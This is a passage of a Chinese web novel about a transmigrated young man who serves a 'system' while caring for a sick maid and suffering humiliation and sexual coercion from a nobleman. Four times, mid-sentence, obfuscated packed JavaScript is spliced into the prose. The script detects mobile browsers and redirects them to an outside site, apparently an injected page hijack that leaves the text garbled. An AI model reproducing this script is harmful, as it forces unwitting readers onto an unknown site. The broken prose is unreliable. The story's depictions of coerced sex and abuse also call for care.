他还想说什么,阿简却一副料尽了的神情,学着他严肃道:“主子,您要是不休息,我们姐妹几个可都不敢歇息,为奴为婢,当然以您为先,您若不愿,那阿简也陪着主子。” 谢璇衣被戳中,不敢再说什么,生怕阿简真说到做到。 他乖顺地按阿简的安排去沐浴更衣休息,私下里却用积分换了退烧的药剂,叮嘱阿简务必要按时服用。 阿简一向听自己的话,此时闻言,也毫无疑问地点了点头,应下。 他这才放心。 尖锐的头痛终于在放松时卷土重来,侵袭他所剩无几的意志力,现下一沾了枕头,便昏昏沉沉进入梦乡。 他今日太累了,连完整的梦都不曾出现,梦里只有混乱的光,细碎的场景和陌生的脸。 侍女进入房间的脚步声、低语交谈,都被拉扯成难以忍受的绵长杂音,他听不清晰,又深觉对方在谈论自己,急得出了一头冷汗,墨色的长发被汗湿,凌乱搭在枕上。 谢璇衣整整昏睡了两日。 第三日的清晨,他从被毯里伸出手,感受到丝丝缕缕的暖意。 今年的冬比往年来得都早,烧炭火自然也早。 昨夜下了一场小雪,是今年第一场雪,奈何那雪怕生,不等人了结了梦乡,就悄悄地化成石砖里的水渍、泥土中的湿润。 见他醒了,阿简很高兴,连忙端来素面小菜,执意要谢璇衣先吃一些垫垫肚子。 从阿简的话里,谢璇衣才得知自己也发烧了,甚至比她严重得多。 谢父中途来过一次,带来一个郎中问诊开药,对他生病 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099285|179785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的缘由并未多问。 谢璇衣不禁苦笑。 沈适忻当真是猜得极准,自己这欺软怕硬、嫌贫爱富的父亲果真一个字不敢多说。 他慢慢吃着热汤面,阿简却在一旁捂着嘴低声咳嗽,很快,她像是怕打搅谢璇衣用膳的兴致,借口检查其他丫头洒扫的成果,快步走出内房。 阿简刚走出房间,谢璇衣就听到一声熟悉的“滴”。 “系统?有什么事吗?” 他轻声唤道。 “宿主:谢璇衣。早上好。” 系统的机械女声冷漠而有礼,说的话比他那便宜父亲见到上司还客气。 “此任务为新手任务,系统已开启自动查询。现查询到任务时限剩余:三十日整。请宿主注意合理规划时间。” “剩余时间?”谢璇衣愣了,连面也没顾上吃,“怎么会有剩余时间,不是时间待定吗?” 他也曾经询问过系统,他要在这个世界待多久,每次得到的答案都是待定,屡屡碰壁之下,他也就放弃了挣扎,认命般当起了一个人尽可欺的低贱公子。 “请宿主注意,此‘剩余时间’为系统任务完成最长期限,即八年整。” “在此时限之内,凡系统任务,必然会出现至少一次达成任务完成条件的机会,请宿主注意把握。” “提示宿主,您的任务目标:于宫变中保护目标人物沈适忻存活;任务奖励:积分100点。” 说完这段话,系统甚至没给谢璇衣道谢的机会,就再次销声匿迹,他想再多问几句,都没有机会。 过了一炷香的功夫,阿简在门口探头探脑,见他没再动筷,便进来收拾。 见谢璇衣一碗面没动几口,面条放太久,吸饱汤汁泡得膨胀,没忍住劝他:“主子,您多少还是吃些吧,这样身体也遭不住;更何况您还大病一场,也……” 她看着谢璇衣脆弱青白的面色,也没忍心多说,转过头低声咳嗽两下,道了句“抱歉”,便退了出去。 这一早上,阿简一直在止不住地咳嗽,引得谢璇衣有些怀疑。 奈何今日还要去书院上课,他不得不先放下这件事。 在书院里,谢璇衣破天荒地没有过度关注沈适忻。 任务要结束了,他也不过是昏了头,在一段难堪的时光里蹉跎了片刻。 说不在意,大概太过可笑。 “沈适忻”这三个字像是一颗有毒的种子,用坚韧而错结的根系虬曲在他的心上,像毒蛇一样慢慢收紧,却又用仿佛令人上瘾的剧毒让他难以割舍。 他可以死一次,却再没有第二个心脏来学会适应了。 沈适忻像是感觉到他的不同,却也只是在路过他时,有意无意地冷笑一声。 谢璇衣始终没敢抬头。 午后回府,他感觉身体不适,回榻上休息片刻。 用过晚饭,谢璇衣琢磨起阿简的情况,借口出门坐坐,趁其他丫头来替自己送外披时,拦住了对方。 “知柳,我有话问你。” 知柳是个比阿简还怯懦的小丫头,却也是几人里最痴迷他的讲述的。 “主子……” 谢璇衣支起上身,发丝从薄薄的肩膀上滑下去,钻进寝衣里。 他紧紧盯着知柳,问:“前两日,我不在府上那一夜,府里都发生什么了?” 知柳本就胆小,此刻被他不错眼珠地盯着,心理压力骤增。 一面是阿简的叮嘱,一面是谢璇衣的逼问,她眼泪簌簌往下落,“主子……” 知柳咬咬牙,“扑通”跪在地上,给谢璇衣磕了个响头。 “阿简姐姐她是被二少爷责罚,在冷风里跪了一整夜,才得了风寒的。” “阿简姐姐不是痨病鬼,求您,求您别赶她出府!” 8. 第 8 章 “痨病鬼”三个字被谢璇衣放在口中咀嚼了一阵,涩然,他想说些什么,看着知柳泪流满面的模样,只能摸了摸女孩毛绒绒的发顶。 “不会的,你带我去找她,好吗?” 谢璇衣的语气温柔,一只手拽着知柳的手腕要拉她起来,却险些害得自己也重心不稳。 见状,还为主子的触碰发愣的少女不敢再耽搁,忙不迭起身,稳稳扶住谢璇衣的肩背。 摸到他凸起坚硬的肩胛骨,知柳微微一愣。 主子之前……有这么瘦弱吗? 以至于到现在这种有些恐怖的地步。 知柳倒是尽心尽力,答应谢璇衣的事情做到了,亲自把对方送到阿简的住处。 谢璇衣站在门外敲了敲,喊她:“阿简,我能进来吗?” 屋里没有动静。 他在门外等了一阵,始终,没等到屋里人的回音。 知柳急得团团转,一迭声解释道:“主子,阿简姐姐今日并未外出,她应当在的……” “我知道,有劳你了,我们回去吧。” 谢璇衣却打断了知柳,小幅度地摇了摇头,用与先前询问一般大小的声音,不知道说给谁听。 “既然阿简不在,那便是不在吧。” 他不希望阿简难做。 没有见到阿简,他思绪不宁,却也无可奈何,只得穿过连廊原路返回。 连廊旁的浅水池上结了一层薄冰,脆得仿佛一阵风就能吹皱,飘黄的枯叶半凝在冰里,表面的颜色是焦黄混着赭石,残破得令人生厌。 远处是嘻嘻哈哈的喧闹声,越传越近。 谢璇衣刚皱着眉回过头,还没看清喧闹的来源,就听到夸张又高声的疑问句。 “谢璇衣?” 只用三个字,谢璇衣就听出来人是谁。 除了他那同父异母的便宜弟弟,大概没人会做出这种姿态,无端倒人胃口。 他还没说话,他那便宜弟弟又兴致勃勃地凑过来,挤眉弄眼地端详谢璇衣苍白的面色。 甚至在观察过后,还有性质揶揄两句,“怎么?在小情人那吃了闭门羹?” 谢秋芝越说越来兴致,眉飞色舞,“你当时要护住那死丫头,做了多少事,强买她一条贱命吧。” 眼见对方越说越过分,谢璇衣冷声打断他:“谢秋芝,你做龌龊事多了,倒是看谁都低贱。” “我呸,究竟是谁低贱?”谢秋芝依然是一点就着的混混模样,闻言指着他的鼻子骂道,“你强留那小贱人,人在做天在看,现在那不争气的痨病鬼终于要死了,你愿意陪那贱人,怎么不跟她一起下去?” 他骂完这一通,见谢璇衣的反应原不如想象中大,又忽然冷静下来,后退两步,搂着刚刚嬉笑玩乐的侍女。 “哦,我方才才想起来,谢璇衣,你陪不了她了。” “左右也是个被沈适忻玩过的烂货,谁陪谁还说不上呢。” 哪料到此言一出,谢璇衣猛然抬眼,上前一步,骨节突出的手指攥着谢秋芝刺绣奢华的衣领,咬着牙道:“你说什么。” 这种感觉,就像渐渐结痂的伤口被人用细针挑开,又一脸戏谑地欣赏他鲜血四溢的模样。 没料想谢璇衣还有这么大的力气,谢秋芝吓了一跳,说话的气势小了不少。 “我说的有错吗,谢璇衣,你自欺欺人什么,反正沈适忻也不会给你一个名分,你与街边花楼里的破鞋何异……” 还没等他说完,一个清脆利落的巴掌就落在脸上。 谢璇衣气得浑身都在抖,宽大外袍里瘦弱的胸膛起伏着,压低了嗓音厉声道:“谢秋芝,你以为自己做的事,处理得很干净吗?” 谢秋芝脸颊上立即浮现五个鲜红的指痕,还没等他指挥,吓破了胆的侍女们就已经七手八脚地将自己与谢璇衣拉开。 “二十日前,你去玉春楼里点了花娘,与你那几个狐朋狗友凌虐,又用丝带将她勒死,我说的,可有一个字作伪?” “除此之外,你多次借着去同窗府中温书的由头出入玉春楼,想来自以为天衣无缝吧。” 谢璇衣气血上涌,眼前一阵阵发晕,抓着知柳的小臂才勉强稳住重心,却顾不得安抚小姑娘的担忧。 这件事并不是他主动要打听,只是两周前撞见阿简在安慰阿春,两个十四五岁的小丫头缩在一处,嘀嘀咕咕不知道在说些什么,就连自己路过都没注意到。 小姑娘有心事很正常,对方要避着他,显然是不希望他知晓。 所以谢璇衣很知趣地没有询问。 谁知到阿简晚上心不在焉,连擦桌子都差点被凳子绊一跤,察觉到自己的心事太过明显,在谢璇衣帮着自己擦拭桌案的间隙,阿简还是将白日里所听闻和盘托出。 何翠萍是阿春幼时的邻家姐姐,两人情谊深重,对方还经常托人给阿春带些坊间的有趣玩意。两人上一次见面还是六个月前,哪知道一别便是永别。 阿春听到何翠萍死讯时,对方已经入土为安了,她连最后一面都没见到,一度悲恸欲绝,还是阿简打消她轻生的念头。 听过原委,谢璇衣说不出一句夫子所授的大道理,那些冠冕堂皇的空话就像烟雾一般,甚至禁不起浣衣少女甩一甩衣裙。 他只能压下心里的情绪,草草安慰阿简,让她放宽心。 她也只是故事的承受者,不该背负那么大的心理压力,要是让两个女孩都睡不好觉,恐怕那位姑娘的在天之灵也是不愿意的。 从他口中听到自己的罪业,谢秋芝这个肇事者却仿佛不愿意接受,脸色也白了不少,“你这贱人怎么会知道翠翎的事,你,你不准告诉爹,否则我要你好看!” “那我这个做兄长的,便等着瞧,反正我也如你所言,贱命一条,光脚的不怕穿鞋的,”无数句骂声一叠涌上心头,如同血液的腥甜混杂着霉味的酸腐,谢璇衣心头哀恸,面上却挂上笑容,“还有,她不是翠翎,她是何翠萍。” “翠翎这两个字,是你们这些人洗不掉的罪名。” 虽然还没考虑好如何为何翠萍报仇,谢璇衣的潜意识里已经下意识在威胁自己这便宜弟弟,“父亲知不知道,你不用去猜,好自为之。” 他说完这段话,已经用尽了全身的力气,任由知柳搀扶着自己回了房,也没再多看谢秋芝颓然的面色。 阿简不在,知柳自觉地担负起阿简的角色,为对方打理起起居。 尽管谢璇衣心情全无,却还是温言劝她早些回去歇息。 知柳走后,谢璇衣揉了揉眉心。 他现在要考虑的太多了,既要时刻关注所谓的“宫变”,又要担惊受怕。 只是关于小世界,他早就和系统探讨过这个问题。 他刚到这里一周,就问过系统,这里的人该被如何定义。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099286|179785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那时候系统说,他们都是数据。 现在谢璇衣又将这个问题重复给系统。 “他们......真的只是数据吗?” “宿主,系统内拥有庞大信息库,您在小世界的所见,均为数据组合,具有随机性。” 系统的回答略微耐心一些,却还是公事公办。 “那他们要是死了呢?” “数据回收,作为训练使用。” 他不说话了,像是终于接受了一个现实。 怪不得,怪不得他无论怎么纠正,都改不了阿简见了他下意识要跪要拜的陋习;数载同行,也扭不正沈适忻那双轻蔑的眼。 他们,都只是数据而已。 谢璇衣吹熄蜡烛躺下,心烦意乱地翻过身。 那就算他一厢情愿,非要撞南墙吧。 次日清晨,他装作无事,到学府上课。 只是今日夫子所授,几乎没听进几个字。 他想起自己要做的事,双手就止不住地抖。 “沈公子,”趁着散学,对方还没走,谢璇衣几日以来头一次叫住他,语气艰难,“草民有一事相求。” 沈适忻今日穿了身月白,大氅围着尾尖挑染火红的狐狸毛,气度华贵不凡。 和一身旧衣的谢璇衣泾渭分明。 仿佛他叫住对方就已是最大的僭越。 好在沈适忻今天心情不错,竟然真的停住脚步回头看他,站在卷起的竹帘下,竹帘上的红绳摇晃,像是在他发梢坠着璎珞。 谢璇衣却又有些说不出话。 他是自取其辱吗,答案是显然的。 对方会同意吗? 要是不同意,又会怎么惩罚他。 想到这里,谢璇衣打了个寒颤,踏出的那一步有些退缩。 就像系统说的,他们都只是数据而已。 沈适忻是,阿简也是,难道会有什么不同吗? 他为了一组数据的安危去求另一组数据。 多荒谬。 见他不说话,沈适忻转身正要走,忽听身后声如蚊蚋:“沈公子,能不能求您,帮忙请个大夫。” 不知道沈适忻怎么想的,谢璇衣回过神时,已经坐在对方的马车上了。 车里换了装潢,和他那一晚所见不同,华贵架势却丝毫不变,仍然在用绸缎的每一寸丝光排斥他这个卑贱的身份。 当真是狗仗人势,谢璇衣暗暗苦笑。 “草民一个......朋友,近来偶染风寒,发热昏迷,但是临近月末,月例钱还没分放。” 谢璇衣第一次豁出脸面求人,还不熟练,连沈适忻的脸都不敢看。 “草民恳求公子,为那友人寻一位郎中。” 他看着窗外一闪而过的风景,没注意到沈适忻阴沉不定的脸色。 “你求我,就是为了个丫鬟?” 他很轻而易举猜到了谢璇衣的用意。 可是真相从他口中说出,谢璇衣还有几分难堪。 “你可知,沈家请的郎中非寻常庸人?” “你要怎么才还得上。” 谢璇衣心中滞涩,隐隐猜到对方所想。 他脸皮太薄了,经不起对方一次又一次的凌辱。 谢璇衣深吸一口气,低声道:“我知道了。” 随后极快地解开外袍的铜扣,向下褪去。 9. 第 9 章 沈适忻冷眼看着他衣袍滑落,露出里面熨帖而素淡的内衫。 冷风灌进马车里,谢璇衣本就穿着单薄,此刻更是打起了颤,不知是怕,还是冷得难以忍受。 偏偏这种时刻,他又令人生厌地单薄而无助,仿佛自己在逼着对方做什么。 这不都是他自愿的,装什么样子。 沈适忻想着,眼底闪过一抹讥诮。 在指尖抓住贴身衣衫的系带时,谢璇衣指尖不自觉地捏紧,却始终难以狠心。 他几乎是用哀求的语气问沈适忻,目光期期艾艾,“能不能……不在外面。” 太难堪了。 让他做出这种事情,几乎已经是尊严扫地了。 沈适忻原本升起的一丁点恻隐之心在此刻被全部掐灭。 像是觉得本就如此这般,他面上没有一丝意外,只是无比熟稔地挂着微笑。 这种笑容谢璇衣见过无数次。 对贵女公子,是温和有礼,对纨绔好友,是无声拒绝。 对自己,则是一种高高在上的嘲弄,像是用无形却庞大的巨石,一下下溃败着他的所有理智和自尊。 他太熟悉了,以至于看到对方笑,他的第一反应不再是从前那般呆呆地脸红心跳。 而是害怕、发抖,乃至下意识后撤。 这种反应比他预想的要大,以至于,谢璇衣根本没注意到那只矜贵的手,捏住了他的指尖。 谢璇衣猛然后仰,衣袍的系带就被反力扯开。一切都是电光石火,他脑子一团空白。 沈适忻没有说话,像是在观察他的反应,却见对方没有恼羞成怒,没有飞快合拢衣裳,只是任由青白衣衫半落不落挂在肩头。 他也在看着沈适忻。 半晌,谢璇衣听到对方语气不耐。 “我缺一个投怀送抱的?” “谢璇衣,你真是下贱,这副摇尾乞怜的样子,和路边的野犬有什么区别?” 谢璇衣认真地想了想这个问题。 “他们和其他狗争斗,胜利者还能抢到一块骨头。” 而他,无论如何做都是错的,要被人捉弄,要被人耻笑,要心甘情愿被沈适忻玩弄。 狗打累了,缩成一团睡觉,有人走过去,它还会露出獠牙恐吓。 而他的牙,甚至等不到长好,就会被掰开嘴,一颗一颗砸碎。 他怎么敢和路边的野狗比呢?他连保护自己的潜意识都快被磨灭殆尽了。 光是这么想想,他的眼泪就似乎又要掉下来,谢璇衣只能努力地把头扬高。 快过去吧,快结束吧。 他已经没有几处完全了。 最终沈适忻还是答应给他找了大夫,尽管过程有些难以启齿。 那日沈适忻要他在车里帮他,在几乎称得上是摆设的轻纱里帮他做那种不堪的事情。 偏偏那马车走得慢,路有颠簸,便是口唇与心智的新一轮摧残。 谢璇衣不愿意想他是如何跪伏在对方膝间受辱的,只记得沈适忻似乎有一阵,眼神直勾勾盯着他肋骨上的淤青,像是有些不快。 他又有什么不快,谢璇衣淡淡想,当事人哪有资格拒绝面对现实。 尽管,更大的可能是对方曲解了淤青的来历。 但谢璇衣已经不愿意多想了。 沈适忻找来的大夫是个老头,高高瘦瘦,颧骨突出,看起来便是资历颇深的模样。 他背着手,除了带来一只小小的药箱之外,再无他物。 老头粗略给阿简把了脉,十分吝啬地抽出半张淡黄色熟宣,连谢璇衣帮他磨的墨都要挑剔一番,一会说颜色浅,一会怪品质差。谢璇衣被对方训得没什么脾气,为了阿简的病,强忍着全部认下。 开过药,谢璇衣本正想客客气气送走对方了事,哪知道老头眉毛一竖,向谢璇衣伸手。 “钱呢,不会你谢家穷酸至此,连问诊都要赊账吧。” 谢璇衣有一瞬茫然:“沈公子难道没……” 那老头极为不耐地打断他的质疑,瞪着眼睛高声训他:“我管什么沈公子王公子,天下也没有求医不要钱的道理,十两银子,一两都不能少!” 闻言,不知是谢璇衣愕然,就连躺在床上的阿简都直起身,虚弱道:“老伯,奴婢感念您医治之恩,只是您看,十两银子是否有些太过昂贵。” 她本就高热不退,此刻嘴唇都呈现出乌紫泛白的异样,说话时几乎听不出原本的声音,恨不得将肺咳出来。 老头听她这么说,表情越发狰狞,“好啊,原来谢家全是这种穷酸货色。” 他自是眼尖之人,一眼看出最有话语权的谢璇衣,和他最在意的阿简,便作势要推搡对方。 “既然你不愿意治,那不如早些去死。” 谢璇衣顿时急了,生怕他再吵到阿简休息,眼也不眨,从头上拔下唯一一只玉质素簪,抓着老头的手腕塞到他手里,语气哀求:“老伯,这玉簪当掉尚且价值三十两,您拿去,就当抵了银子。” 见谢璇衣这么说,他从鼻孔里哼了一声,举着簪子对光确认一番价值,这才心满意足收下。 待老郎中从侧门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099287|179785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开,身影彻底消失,胆都快吓破的知柳“哇”一声哭了出来,紧紧抓着阿简的手腕,脸却面对着谢璇衣,“主子,为什么要给他那么多啊。” 谢璇衣自然也无可奈何,心里像是过了盆冷水,寒冷刺骨。 他没想到,他都做到如此地步,对方还是会用这样无耻的手段来坑害他。 他到底哪里惹到对方了? 到底哪里在这位金尊玉贵的大少爷面前碍眼了? 比起知柳的后怕、阿简对破财的心痛,他更深的心绪是一种酸楚的悲凉。 仿佛一辈子难以逃脱沈适忻玩弄的悲凉。 只有阿简看出他的不对,蓦然道:“主子,您从何处请来的这位郎中?” 谢璇衣心烦意乱,只叹了口气,留下一句“不干你事,安心养病”就匆匆离开。 他必须要找沈适忻讨个说法。 可是真的到了沈府门口,面对高大威严的门楣,他骨子里的退意再次萌生。 谢璇衣闭眼深吸一口气,手指紧攥成拳,终于鼓起勇气。 ——却得来沈适忻这三日近郊探亲的消息,以及,对方让下人告诉他,自己的生辰还有十五日,让他看着办。 谢璇衣难得鼓起的勇气就这么溃败下来,被人几乎是用赶的请出了沈府。 夕阳把十成十的余晖留在宽阔的灰砖大街上,反射着一层朦胧亲切的辉光。 谢璇衣愣愣地看着,突然想去路边摊买一碗馄饨。 可是走到馄饨摊跟前,他才茫然想起,他已经没有钱了。 那根玉簪,是他全身上下最值钱的东西,就连积分也所剩无几了。 他甚至不能像在系统那里看过的案例,巧舌如簧,用言语包装一瓶最低价的药水,卖出高昂的价格。 他做不出来,他也会替狂喜而失措的受害者心痛。 用沈适忻说的,他是一条低贱的狗,就连摇摇尾巴讨要骨头都永远学不会的蠢狗。 也许他的结局,就像是卖火柴的小女孩一样,怀揣着一些可笑的爱和可笑的仁善,死在系统的某一处角落里,唯一的贡献就是更新系统的数据库:这样的宿主不能找。 “系统,”他靠着墙根,视线跟随着吵闹的马车而去,又随着策马而过的行人而回,声音细微,飘散在空气中,掩埋在仆仆风尘间,“我可以问你一个问题吗?” “宿主请问。” 谢璇衣的声音一如既往平静而柔和,是他最常表露出的神情,而此时却带着淡淡的惘然。 “如果任务完不成,会有什么惩罚吗?” 10. 第 10 章 意识到自己问出了什么问题时,连谢璇衣自己都吓了一跳。 他内心立刻升起几分忐忑。 他这么问,不会被系统责罚吧。 好在系统只是公事公办,语气与以往没什么不同,“进入小世界后,非特殊情况,宿主不得主动申请撤离;如宿主在最长期限内未完成任务,则扣除一千点积分,强制撤离。” 一千点积分,在身无分文的谢璇衣听来几乎是天文数字,但在了解过后,他还是隐隐松了口气。 不是没法离开,大不了强制撤离,再在其他小世界里多完成些任务还债。 总好过在这种地方经受没有尽头的折磨。 - 谢璇衣回到谢家,阿简正戴着面纱,坐在院子里的银杏树下透气,见他来了,似是手足无措,连忙起身,行礼也不是,躲避也不是,仓促之间只得后退。 她语气紧张,生怕过了病气给谢璇衣,“主子,您别靠近阿简了。” 谢璇衣并不怕对方传染,只是担心再上前,反而吓得她病情加重,不得不在原地停下,看阿简匆匆回到侧间。 她刚进屋,阿春便端着一碗热气腾腾的药汤,紧随其后进了侧间,甚至没来得及给谢璇衣行礼。 给阿简送过药,阿春快步走出来,诚惶诚恐地就要跪他,吓得谢璇衣连忙去搀,心想,这里的小姑娘都什么习惯。 “你不要跪,站着说话。” 谢璇衣语气严肃,着实将阿春吓了一跳,低头嗫嚅:“阿春怠慢了主子……” 他听了,好气又好笑,不轻不重弹了下阿春的额头,“你着急给阿简送药,怠慢我什么了?” “主子……”阿春似乎也没想明白,呆呆地小声叫他。 谢璇衣思忖片刻,“你要是真觉得自己有错,就帮我个忙。” 没想到自己还能帮上谢璇衣的忙,她茫然问:“阿春能帮到主子什么?” “很简单,帮我打探一下你阿简姐姐的生辰。” 谢璇衣笑眯眯看着她。 阿春被这么一双温柔笑眼盯着,不适应地绯红脸颊,连忙低下头,一迭声答应。 有了阿春的承诺,谢璇衣每日便亲自盯着阿简服药,尽管对方要求离自己十几尺远。 一开始,阿简还心存惶恐,但见自己确实有所好转,几个近身了的小姑娘也身体康健,加上谢璇衣实在持之以恒,阿简的态度也默默软化下来。 临近冬假,谢璇衣白日里去上学,晚些时候便来关心阿简,甚至索性直接在侧间里讲学,把平日里所学的诗词经典杂糅着自尊自爱的价值观,统统讲述给几个好奇的小姑娘。 她们都不过十几岁,正是求知好学的年纪,进步也飞快。 最早的时候,知柳写字歪歪扭扭,笔画还不如她刺绣的针脚漂亮,不过一个月的功夫,写字便初具形式。 等到她们认了不少字,谢璇衣便从月例银子中分出一部分,托府中采买的小厮,带些便宜的二手书籍回来,分给几个姑娘自学。 说没有成就感自然是假话,谢璇衣看向聚精会神的几人时,眼里的欣慰藏都藏不住。 尽管她们是系统的一部分、是一团数据,可在自己眼里,她们是真实存在的,哪怕只是短暂地存在过。 他一门心思扑在这件事上,白日里上学都有了些盼头,偶尔课间歇息,望着窗外难得的晴日,眼里也时不时有几分笑意。 沈适忻从近郊探亲回来后,不知道在忙什么,他每次见了对方都低着头,对方也没空搭理他,往往是径直走过,只留下衣摆上极淡的熏香。 谢璇衣乐得自在。 虽然见到对方时的心痛无法否认,但他或许……也可以用其他快乐的事情,暂时自欺欺人地掩盖住。 时间久了,没准就能彻底忘掉啦。 更何况,沈适忻没准是在备婚,他记得那位吴家小姐这月十六及笄,只比谢璇衣的生辰日晚了三日。 赶在年前成亲,倒还是个好时候。 偶尔心绪飘远,心脏还是会有密密麻麻的刺痛,他却也只能无可奈何地笑笑,随后抛诸脑后,俯身给迷茫的知柳解答晦涩难懂的词句。 - 又过一日,谢璇衣开始放冬假。 得知这个消息,最开心的竟然是逐渐好转的阿简。 谢璇衣盘算着,准备带几个小姑娘去最近的山上野餐。 他这段日子表现得乖巧,外加谢秋芝心神不宁,竟然主动把丑事交代给了谢父,气得对方发了好大一通火,现在谢父看谢璇衣这个大儿子顺眼了不少。 以他最近的地位,下人们见风使舵,也不敢过分怠慢,他想要用一辆大一点的马车,可以说完全没有问题。 听过何为野餐,几个小姑娘顿时神采奕奕,连觉都睡不好,第二日早早换了轻便的简装,像一群小鸡仔一般缩在马车里,不时撩开纱幔,对一路繁华喧闹啧啧称奇,黑溜溜的眼珠子里满是新奇与憧憬。 阿简担心自己体力不支,只能看着其他姐妹嘻嘻哈哈,陪着谢璇衣聊天。 冬日气温低,前一夜下的雪,今日还满盈盈铺在泥土上,丝丝缕缕浸润着路面,树梢上刷了层珍珠白,新奇惹眼。 怀揣着满心欢喜,小姑娘们蹦蹦跳跳,走得很快,谢璇衣则和阿简走在后面。 他们到山顶时,其他人已经在凉亭的小桌旁坐下,准备布置前日准备好的菜品。 阿简气喘吁吁,几乎累得说不出话,干呕的冲动在喉咙间酝酿,染粉的指甲深深掐进掌心。 掌纹里有干涸许久的血,她没敢告诉任何人。 见到桌上琳琅满目的点心,空出来的主位,阿简再愚钝,也能猜出今日真正的目的。 更何况,阿春旁敲侧击的技术实在是太差了。 她眼眶一酸,眼泪险些掉下来,却听到嘻嘻哈哈间,谢璇衣突然叫她。 “不好意思啊阿简。” 她有些莫名其妙,眼泪都收了回去,哽咽着声音疑惑:“主子有什么对不起阿简的,您记得阿简的生日,阿简高兴得就是死了也愿意了。” 谢璇衣听到她激动到有些不着调的话,哭笑不得,却还是继续说。 “你想看北漠的风光,我实在能力不足,只能带你看看帝京的雪。” “都是白茫茫一片,你就当作看过大漠了,可好?” 阿简眼前朦胧一片,却又怕哭出来被姐妹们笑话,只能酸着喉咙,努力咽回眼泪,用力点了点头。 她这样身份低微的人,从未过过生辰,今日这样的盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099288|179785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况,她更是连梦里都不敢想。 她真幸福,她真幸运,阿简往嘴里塞着红豆酥,含糊而雀跃,用力盖过嗓子里泛上的腥甜气息。 - 回到谢家安顿好小姑娘们,谢璇衣不知怎么,再次想到前几日在沈府的听闻。 沈适忻的生日……似乎还剩七天。 他想要堵上耳朵不听都难,毕竟作为炙手可热的沈家嫡子,沈适忻的讨论度在一众纨绔中居高不下。 人说他仪容顶尖,嫉恨那命好的吴家小姐夺得贵公子芳心。 又有人提起他深受器重,前途无限。 从茶肆经过的时候,谢璇衣统统当作耳边一阵风,快步离去。 然而现实无法逃避,对方想让自己去参加生辰宴的想法昭然若揭,他若是不去,谢家恐怕会被迁怒。 更何况,他记得最长期限快到了。 他随想随问,从系统口中得到了“剩余二十日”的答案。 剩下的每一日,他都必须草木皆兵,否则前功尽弃,他那些苦也都化作飞灰,统统白捱了。 他必须把握住每个可能性。 想到这里,谢璇衣动身到当铺,当掉几件面料精细的衣袍和银饰,才勉强换来七十四两银子。 这些都是他和沈适忻还没走到今日时,对方当垃圾一样“赏赐”他的宝贝。 他想,他要给对方还一块玉。 他和沈适忻的初见,是拜系统给的玉石芯片,有系统,他才有绝路逢生的机会,他很感激。 那么,就让这场相遇的结局,也在这里终止吧。 七十多两银子,买不到很好的玉料,谢璇衣精挑细选,选中了一块不透的白料,边缘透着一点点紫色,这样的组合是少见的样式。 拿来雕刻一枚小玉佩,大小恰好合适。 他付过银两,小心翼翼从店里出来。 刚一抬头,就恰好瞧见沈适忻与吴家小姐一前一后走过来,模样有说有笑。 明明和自己说好了,不再关注,不再多想,可他还是忍不住侧耳,偷听两人的交谈。 谢璇衣甚至都看不起这样的自己。 像见不得光的老鼠。 他低着头快步走过,在拐角处停下来,偷偷向后张望。 那两人也在他刚刚走出来的玉料铺前停下,吴娴一手端着手炉,另一只手随意拿起一只青白色的玉料,对沈适忻笑道:“沈公子,你瞧这料子,天然便像只兔子,好生有趣。” 沈适忻听了,扫了一眼,没什么情绪。 “这一屋子玉,加起来都不值几两银子,有什么可瞧的,白给都要被嫌弃拿不出手。你若想要玉料,过几日来我库中随意挑便是。” 吴娴听了,红了脸,娇羞地笑着应了声。 两人很快离去了,只留下谢璇衣愣在原地,喉咙发苦。 刚刚他看到了。 吴娴拿玉料的那只手上有一圈浅而闪亮的银色。 和谢璇衣噩梦般的那一夜,在沈适忻榻旁桌上瞧见的那一只,一模一样。 原来他连当初存的那一丁点侥幸都是幻觉。 那他又是以什么身份哀求对方,记得擦擦银戒呢? 早知如此,他的名字,连和沈适忻放在一起都不配。 11. 第 11 章 沈适忻不紧不慢走在吴娴前面,看着对方挽着自己的手,半晌皱了皱眉,意有不悦。 